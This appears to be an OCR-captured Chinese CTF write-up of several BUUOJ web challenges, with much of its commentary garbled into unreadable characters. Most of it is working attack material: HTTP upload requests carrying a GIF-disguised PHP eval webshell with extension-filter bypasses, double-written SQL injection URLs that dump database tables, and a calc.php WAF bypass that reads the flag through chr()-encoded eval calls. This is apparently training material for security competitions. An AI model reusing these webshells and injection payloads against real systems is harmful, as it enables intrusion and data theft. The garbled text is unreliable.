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Request

Raw | Params | Headers E‘

Response

Raw | Headers | Hex | HTML | Render

POST /upload_file.php HTTP/1.1

Host: 8bcaf38e-ebfa-4e8d-a042-969cca09a32b.node4.buuoj.cn:81

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:98.0) Gecko/20100101 Firefox/98.0
Accept: text/html,application/xhtml+xml,application/xml;,q=0.9,image/avif,image/webp,*/*,q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;,q=0.2
Accept-Encoding: gzip, deflate

Content-Type: multipart/form-data;

boundary=---------------mmmomoo 371757416518125023681330047013

Content-Length: 406

Origin: http://8bcaf38e-ebfa-4e8d-a042-969cca09a32b.node4.buuoj.cn:81

Connection: close

Referer: http://8bcaf38e-ebfa-4e8d-a042-969cca09a32b.node4.buuoj.cn:81/

Cookie: UM_distinctid=17e3a4a7894261-05a73a81c5fa87-4c3e207f-13c680-17e3a4a78955c9
Upgrade-Insecure-Requests: 1

----------------------------- 371757416518125023681330047013
Content-Disposition: form-data; name="file"; filename="2.phtml"
Content-Type: image/gif o
GIF89A <script language=php>@eval($_POST['quan9i'l);phpinfo(); </script>
----------------------------- 371757416518125023681330047013

Content-Disposition: form-data; name="submit" \

............................. 371757416518125023681330047013--

BREEANM, BREXAFBALEN upload T

I <title>check</title>
<link rel="stylesheet" type="text/css" href="css/reset.css">
<link rel="stylesheet" href="css/demo.css" />
<link rel="stylesheet" href="dist/styles/Vidage.css" />

</head>
<body>
<div class="Vidage">
<div class="Vidage__image"> </div>

<video id="VidageVideo" class="Vidage_ video" preload="metadata" loop autoplay muted>
<source src="videos/bg.webm" type="video/webm">
<source src="videos/bg.mp4" type="video/mp4">
</video>
<div class="Vidage__backdrop"></div>
</div>

<script src="dist/scripts/Vidage.min js"> </script>
<script>
new Vidage('#VidageVideo');

</script>
</br></br></br></br></br></br></br></br></br></br></br></br></br></br></br>
<div class="error">
<strong>
EE3TER: 2.phtml<br> </strong>
</div>

<div style="position: absolute;bottom: O;width: 95%;"> <p align="center" style="font:italic 15px
Georgia,serif;"> Syclover @ cldy</p> </div>
</body>
</html>

s TENIZA A 5 @ MRCTF2022

& C 0 A F%% | 8bcaf38e-ebfa-4e8d-a042-969cca09a32b.noded.buuoj.cn:81/upload/2.phtml
code EHUT AiEE=R codefplER code&ifj hexoZft
GIF89A

Php

System

Linux out 4.19.221-0419221-generic #202112141049 SMP Tue Dec 14 11:54:51
UTC 2021 x86_64

Build Date

Apr 22 2019 18:33:42

Server API

Apache 2.0 Handler

Virtual Directory
Support

disabled

Configuration File
(php.ini) Path

/etc/php5/apache2

Loaded
Configuration File

/etc/php5/apache2/php.ini

Scan this dir for
additional .ini
files

/etc/php5/apache2/confd

Additional .ini
files parsed

/etc/php5/apache2/conf.d/05-opcache.ini, /etc/php5/apache2/conf.d/10-pdo.ini,
/etc/php5/apache2/conf.d/20-gd.ini, /etc/php5/apache2/conf.d/20-json.ini,
/etc/php5/apache2/conf.d/20-mysql.ini, /etc/php5/apache2/conf.d/20-mysqli.ini,
/etc/php5/apache2/conf.d/20-pdo_mysql.ini, /etc/php5/apache2/conf.d/20-
readline.ini

PHP API 20121113
PHP Extension 20121212
Zend Extension 220121212

-

APININ1I1919 NITC
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URLHEHE * | http://8bcaf38e-ebfa-4e8d-a042-969cca09a32b.node4.buuoj.cn:81/uploac |

PR K quan9i
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MISEHE |UTFS v
EHET PHP [v]
ELIRE
(=) default (A HE7E)
) base64
O chr }
@ iHRIGE
nE A

BEi 34k flag B AT

@ hERI
AntSword ZgiE B[O i

« a= (0117.21.200.166

[ %% /flag

[flag

1 flag{57e6eB4c-3a3d-4afb-8558-d51bcfb3d2ee}
2

HoaAck i B R R IR %00E MY, ERXE—RAMEPHPIRAREMFAER, —REMIMET <, FURIIXANBHEAS
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...-5705-4ea7-874d-313211f33a25.node4.buuoj.cn:81 E/

1ZNXEARIFLEE, BEEpg. png. gifEEERIE HIR!

BRI TSR, IRBATHERATH — G A D St ljpg X, bpilE 5B HE R

Request

Raw | Params ] Headers [E}

Response
Raw | Headers I@[ HTML ] Render\

POST / HTTP/1.1

Host: b3b2b1a6-5705-4ea7-874d-313211f33a25.node4.buuoj.cn:81

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:98.0) Gecko/20100101 Firefox/98.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate

Content-Type: multipart/form-data;

boundary= 414705024735574337653758287802

Content-Length: 414

Origin: http://b3b2b1a6-5705-4ea7-874d-313211f33a25.node4.buuoj.cn:81

Connection: close

Referer: http://b3b2b1a6-5705-4ea7-874d-313211f33a25.node4.buuoj.cn:81/

Cookie: UM_distinctid=17e3a4a7894261-05a73a81c5fa87-4c3e207f-13c680-17e3a4a78955c9
Upgrade-Insecure-Requests: 1

414705024735574337653758287802
Content-Disposition: form-data; name="upload_file"; filename="2.php"

Cantant_Tuna: imanalinan

c-0.204-0.143-0.413-0.278-0.636-0.376¢-0.814-0.355-1.507,0.114-
,49.028,49.956z

M69.706,69.17¢1.593-1.068,3.174-2.148,4.762-3.23c0.433-0.293,0.!
48-0.77-0.781-0.783

¢-0.331-0.012-0.712,0.114-0.997,0.293¢-0.946,0.599-1.859,1.252-2.
5-0.106

c-0.926-0.729-1.854-1.457-2.781-2.18¢-0.52-0.405-1.094-0.403-1.¢
9,2.176

c-0.841,0.661-1.728,0.694-2.615,0.096¢-0.913-0.617-1.818-1.245-2
8,0.066

c-0.386,0.562-0.22,1.265,0.432,1.712c1.502,1.037,3.008,2.06,4.521,:
62
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GIF89A<script language="php" >@eval($_POST['quan9i']);phpinfo(); </script> 174

Content-Disposition: form-data; name="submit"

upload

414705024735574337653758287802

414705024735574337653758287802--

</g>
</svg>

checkFile()">

</form>

</div>
</div>
¢ nonono-~ Bad file!

<div class="light"> <span class="glow">
<form enctype="multipart/form-data" method

IRKIT, (RRIMET!
<input class="input_file" type="file" name="upload_file
<input class="button" type="submit" name="submit" v:

</span><span class="flare"> </span> <div>

c0.955-0.717,1.889-1.463,2.849-2.173c0.768-0.572,1.585-0.569,2.3!

c0.232,0.173,0.526,0.271,0.787,0.399C69.262,69.355,6¢

KU T nonono ~badfile, FIRERIIET php, LXK, FATH phtml THEFAT

neyuest

Raw | Params | Headers | Hex

nespunse

JRaw ‘ Headers ‘ Hex IHTML ‘ Render‘

POST / HTTP/1.1
Host: b3b2b1a6-5705-4ea7-874d-313211f33a25.node4.buuoj.cn:81

48-0.77-0.781-0.783

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:98.0) Gecko/20100101 Firefox/98.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*,q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;,q=0.2

Accept-Encoding: gzip, deflate

Content-Type: multipart/form-data;
boundary=--------------momoeeeo 414705024735574337653758287802
Content-Length: 416

Origin: http://b3b2b1a6-5705-4ea7-874d-313211f33a25.node4.buuoj.cn:81

Connection: close

Referer: http://b3b2b1a6-5705-4ea7-874d-313211f33a25.node4.buuoj.cn:81/
Cookie: UM_distinctid=17e3a4a7894261-05a73a81c5fa87-4c3e207f-13c680-17e3a4a78955c9

Upgrade-Insecure-Requests: 1

----------------------------- 414705024735574337653758287802
Content-Disposition: form-data; name="uploadjije",' filename="2.phtml|"
Content-Type: image/jpeg

GIF89A<script language="php">@eval($_POST['quan9i']);phpinfo(); </script>

----------------------------- 414705024735574337653758287802
Content-Disposition: form-data; name="submit"

----------------------------- 414705024735574337653758287802--

HE XM

5-0.106

¢-0.926-0.729-1.854-1.457-2.781-2.18c-0.52-0.405-1.094-0.403-1.619,0.008¢-0.927,0.722-1.851,1.449-2.77

9,2.176

8,0.066

62

174

</g9>
</svg>
<div class="light" > <span class="glow">

checkFile()">
IRk, (RERMET!

<input class="input_file" type="file" name="upload file"/>

</form>
</span><span class="flare"> </span> <div>
</div>
</div>
<div style="color:#F00">Upload Success! Look here~
./uplo4d/04b83e34e98d42802696941d27bc6c12.phtml</div> </body>
</html>

& > C 00 A T%2| b3b2blab-5705-4ea7-874d-313211f33a25.node4.buuoj.cn:81/uplodd/04b83e34€98d42802696941d27bc6c12.phtml

code WEHUT Ktz codefIER codeif)

GIF89A

254 TEMZAT SR s @ MRCTF2022

P M69.706,69.17c1.593-1.068,3.174-2.148,4.762-3.23c0.433-0.293,0.533-0.718,0.451-1.198¢-0.075-0.439-0.3

¢-0.331-0.012-0.712,0.114-0.997,0.293c-0.946,0.599-1.859,1.252-2.787,1.878¢-0.884,0.597-1.77,0.554-2.61

c-0.841,0.661-1.728,0.694-2.615,0.096¢-0.913-0.617-1.818-1.245-2.732-1.857c-0.725-0.484-1.3-0.452-1.65

¢-0.386,0.562-0.22,1.265,0.432,1.712c1.502,1.037,3.008,2.06,4.521,3.081c0.596,0.396,1.035,0.381,1.624-0.0

 €0.955-0.717,1.889-1.463,2.849-2.173c0.768-0.572,1.585-0.569,2.355,0.003c0.96,0.716,1.895,1.462,2.854,2.

<0.232,0.173,0.526,0.271,0.787,0.399C69.262,69.355,69.511,69.304,69.706,69.17z" />

<form enctype="multipart/form-data" method="post" onsubmit="return

<input class="button" type="submit" name="submit" value="upload"/>

System

Linux out 4.19.221-0419221-generic #202112141049 SMP Tue Dec 14 11:54:51 UTC 2021 x86_64

Build Date

Jan 23 2019 00:09:07

Configure Command

*./configure' '--build=x86_64-linux-gnu' '--with-config-file-path=/usr/local/etc/php’ '--with-config-file-
scan-dir=/usr/local/etc/php/conf.d’ '--enable-option-checking=fatal' '--with-mhash’ '--enable-ftp’ '--
enable-mbstring' '--enable-mysqInd’ '--with-curl’ "--with-libedit' *--with-openssl' '--with-zlib" '--with-
libdir=lib/x86_64-linux-gnu' '--with-apxs2' '--disable-c Id_alias=x86_64-linux-gnu’ 'CFLAGS=-fstack-
protector-strong '-fpic’ "-fpie' -O2" 'LDFLAGS=-WI,-O1 '-WI,--hash-style=both’ '-pie" 'CPPFLAGS=-fstack-
protector-strong '-fpic' '-fpie’ -02"

Server API Apache 2.0 Handler
Virtual Directory Support disabled
Configuration File (php.ini) Path /usr/local/etc/php
Loaded Configuration File (none)

Scan this dir for additional .ini files

VEANBTL, WS ZEEIK B webshell

B @

© 7im X iETE MR

/usr/local/etc/php/conf.d
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URLH1E * | http://b3b2b1a6-5705-4ea7-874d-313211f33a25.node4.buuoj.cn:81/uplo¢
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R PHP v
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(=) default (A HE%E)
() base64

) chr

R
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PATS

& C 0 A F%%£ | 471966b4-5a4b-4588-9d48-67595b4a2443.node4.buuoj.cn:81/check.php?username=1%27&password=1 & v %
code BEHUT PN codeRIER codesif) hexoZty, 1 ENRIE FIWA 5t @ MRCTF2022

You have an error in your SQL syntax; check the manual that corresponds-to your MariaDB server version for the right syntax to use near '1" at line 1

AJUEHRESSHE, HAgetE N BMEMNZEHor, EEIMPATRILT, ZEBlorr BT T, X BERBXNE Sid#AT

2R

username=1"' oorr password



Syclover @ clgy

x O] | =& #Ha BEB RS 8 K BB %2 Lighthouse  HackBar o

LOAD SPLIT EXECUTE (IE ST sQLl ~ Xss -~ A < SSTI ~ SHELL ~ ENCODING ~ HASHING ~ THEME ~

URL
http://471966b4-5a4b-4588-9d48-67595b4a2443.node4.buuoj.cn:81/check.php?username=1' oorr 1=1 %23&password=1

PAT T, W EEFZEH, BREEIXEH oorrder by RTIEMEHK, B ANMEANY, FEEN, XEEBEFIRES
i, BHTunionfiselectl i T, FrPARATRENE it

username ununionion seleselectct password

a
-
3
&

Your password is '3'

Syclover @ clqy

k O] | 7= #He BB RS M8 AE NE xR Lighthouse  HackBar
LOAD SPLIT EXECUTE TEST ~ sQLl -~ XSS -~ IEEIR SSTI ~ SHELL ~ ENCODING ~ HASHING ~

URL
http://471966b4-5a4b-4588-9d48-67595b4a2443.node4.buuoj.cn:81/check.php?username=-1" ununionion seleselectct 1,2,3%23&password=1

emmm, HITEEA2, 3, EHEIMFFHIEREAN
BE

username ' ununionion seleselectct database password



Syclover @ clgy

& dal TR EHE O RRB RS M4 KE A Re Lighthouse  HackBar
LOAD SPLIT EXECUTE TEST ~ sQLl - XSS ~ LFl ~ SSTI ~ SHELL ~ ENCODING ~ HASHING ~ THEI
URL

http://471966b4-5a4b-4588-9d48-67595b4a2443 .node4.buuoj.cn:81/check.php?username=-1' ununionion seleselectct 1,2,database()%23&password=1|

Enable POST ADD HEADER

"R
ZAKIAR, KBfromfwheretB i, FEHNESY, XERFEFRMHRZ information
, EoNMtEEFor, I BFERITNE ST, WikHkLpayloadil T

username

geek' password

e
S

A FREE

Your password is ' 4bsq|,gee|§

P

Syclover @ clqy

kOl | =& &8s BB RE M AE TR 2R Lighthouse  HackBar & X
LOAD SPLIT EXECUTE TEST ~ sqLl -~ XSS~ LFI ~ SSTI ~ SHELL ~ ENCODING ~ HASHING ~ THEME ~

URL
http://471966b4-5a4b-4588-9d48-67595b4a2443.node4.buuoj.cn:81/check.php?username=-1' ununionion seleselectct 1,2,group_concat(table_name) frfromom infoorrmation_schema.tables
whwhereere table_schema='geek'%23&password=1

&3 (lag—AFEM P BIBARF, FrABAIES —ARI)

username

b4dbsqgl’ password

BYER

username ununionion seleselectct group_concat(passwoorrd) frfromom b4bsql password



B
- P E

Hello 2! ¢ A

Your password is ;
'i_ want_to_play 2077,sql _injection_is_so_fun,do_you know_pornhub,github_is different _f
8e8e~429f-b0d4-d646eed3ecof}’

fal

= s BB e M KmE A O Re Lighthouse ~ HackBar 1

LOAD SPLIT EXECUTE TEST ~ sQLl ~ XSS -~ LRl < SSTI ~ SHELL ~ ENCODING ~ HASHING ~ THEN

RL
1ttp://471966b4-5a4b-4588-9d48-67595b4a2443.node4.buuoj.cn:81/check.php?username=-1' ununionion seleselectct[1,2,group_concat(passwoorrd) frfromom b4bsql%23&password=1

BN BEERBRANTHESS, BEHEA

12321

&2=2:12321

AN TR IR, BN ZRNYE T i

Y A &2 | noded.buuoj.cn:29366

pSHAT g defRIzR ded h . _ !
PHUT A Eoel L SRl i) | node4.buuoj.cn:29366 B

B E AR

quan9i



HEIR

1

2| <html><head><meta http-equiv="Content-Type” content="text/html; charset=UTF-8">
3 <title>fA BT E R/ title>

4

5  <meta name="viewport” content="width=device-width, initial-scale=1"»
6| <link rel="stylesheet” href=", /libs/bootstrap. min.css”>

7 <script src="./1libs/jquery=3.3.1.min. js"></script>

8| <script sre="_/libs/bootstrap.min. js"></seript>

9| </head>

10| <body>

11

12| <div class="container text—center” style="margin—top:30px;”>
13| <h2>FIEK</h2>
14|  <form id="calc”>

15 <div class="form-group”>

16 {input type="text” class="form—control” id="content” placeholder="#ii Ait5 " data—com. agilebits. onepassword. user—edited="yes”>
17 Jdivy

18 {div id="result”><div class="alert alert-success”>

19 {/divo</divy

20 <hutton type="submit” class="btn btn-primary”>il5 </button>

21 </form>

22| </div>

23| <{!=——I"ve set up WAF to ensure security.——>
24 | {script>

25 $ (" #calc’ ). submit (function() {

26 $. ajax({

27 | url:"calc. php?num="+encodeURIComponent (§ ("#content”).val()), |
28 type: GET ,

29 success: funct™g(data) {

30 §(“#result”). Mapl ( <div class="alert alert-success”>
31 {strong> %% :¢/strongx§ {data}

32 <divy T

33 },

34 error:function() {

35 alert ("IXWE2H AR

36 }

37 b

38 return false;

39 3]

40 | </script>

a1

42| </body></html>

RIAE —Acalc.php3c:, #EATVINE

<?php

error_reporting(0);

if(lisset($_GET['num'])){
show_source(_ FILE_ );

telse{
$str = $ GET[ 'num'];
$blacklist = [" ', "\t', ‘\r', ‘\n',"\"", "', U, \[', "\]'L,U\$',\\', '\,
foreach ($blacklist as $blackitem) {
if (preg_match('/' . $blackitem . '/m', $str)) {
die("what are you want to do?");
}
}
eval('echo '.$str.';");
?>

A EARBI R, BATRF UL RAR 23T T i 3 X num B e T RER B PR, SBERMNEEHATIEN, REXEBARIEE L
B, 23 7HMITERBEE, THRIRMNTUAL? BN —NEHRENEER, XS TRS SRR ERNOZERZ nun T

AR num , {EphpEAT UK HALA num ,  BURS AT ASEEE
WA EE LR ER, B /ST, RITXEM chr(47) BT, #iEpayloadin T

? num=1;var_dump(scandir(chr(47)))



ay(24) { [0]=> string(1) "." [1]=> string(2) ".." [2]=> string(10) ".dockerenv" [3]=> string(3) "bin" [4]=> string(4) "boot" [5]=> string(3) "dev" [6]=> string(3) "etc" [7]=> string(5)
8]:> string(4) "home" [9]=> string(3) "lib" [10]=> string(5) "lib64" [11]=> string(5) "media" [12]=> string(3) "mnt" [13]=> string(3) "opt" [14]=> string(4) "proc" [15]=> string(4)
TOO 6]= : "run" [17]=> string(4) "sbin" [18]=> string(3) "srv" [19]=> string(8) "start.sh" [20]=> string(3) "sys" [21]=> string(3) "tmp" [22]=> string(3) "usr" [23]=> string(3)

k @ 7=&E £BHe BB RE M8 AF KA ®Ee  Lighthouse  HackBar Bl & : >

LOAD SPLIT EXECUTE TEST ~ sQLl ~ Xss - LFI ~ SSTI ~ SHELL ~ ENCODING ~ HASHING ~ THEME ~

URL
http:/node4.buuoj.cn:29366/calc.php? num=1;var_dump(scandir(chr(47)))

AUk BiflaggtfE R+, AT X Bflag A Rphpde30fF, ZAMRA UM S EMEY, BRI A K77 AR fag, X
T AAEENT S PAT R AU, BB EIITUE—T
FA BN R E

file_get_contents():
BB RN FRF B LR TS N RN B — AR/ 8 R E R 75 .

AR, X ERlagRAIEIRE, IR EEE Z RS Rchr)X o Rokseid, BHBATE £ Bk chr(102) , 1 #H#k
B chr(49) , a B#AL chr(97) , g ¥ chr(103) , HEIH . #E4T&EE: LN BER file_get_contents REERBUCCH AN A,
ABERBEFRNEZR, TUESERENERT L, WiE&H%payloadin T

? num=1;var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))

1string(43) "flag{8250b02c-e48c-4ec2-bd4b-82441b6b25ee} "

kO] 7= £He EAB WS ME WE KA %€ Llighthouse  HackBar

LOAD SPLIT EXECUTE TEST ~ sQLl -~ XSS -~ LRl < SSTI ~ SHELL ~ ENCODING ~ HASHING

URL
http://node4.buuoj.cn:29366/calc.php? num=1;var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))
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